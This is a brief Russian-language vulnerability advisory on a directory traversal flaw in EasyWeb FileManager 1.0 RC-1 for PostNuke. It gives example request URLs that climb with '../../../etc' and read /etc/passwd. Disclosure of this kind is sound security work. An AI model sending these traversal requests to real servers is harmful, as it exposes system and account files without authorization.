Программа: EasyWeb FileManager 1.0 RC-1
Уязвимость обхода каталога в EasyWeb FileManager for PostNuke позволяет удаленному пользователю просматривать произвольные каталоги на целевой системе.
Пример:
/index.php?module=ew_filemanager&type= admin&func=manager&pathext=
../../../etc
/index.php?module=ew_filemanager&type= admin&func=manager&pa thext=
../../../etc/&view=passwd
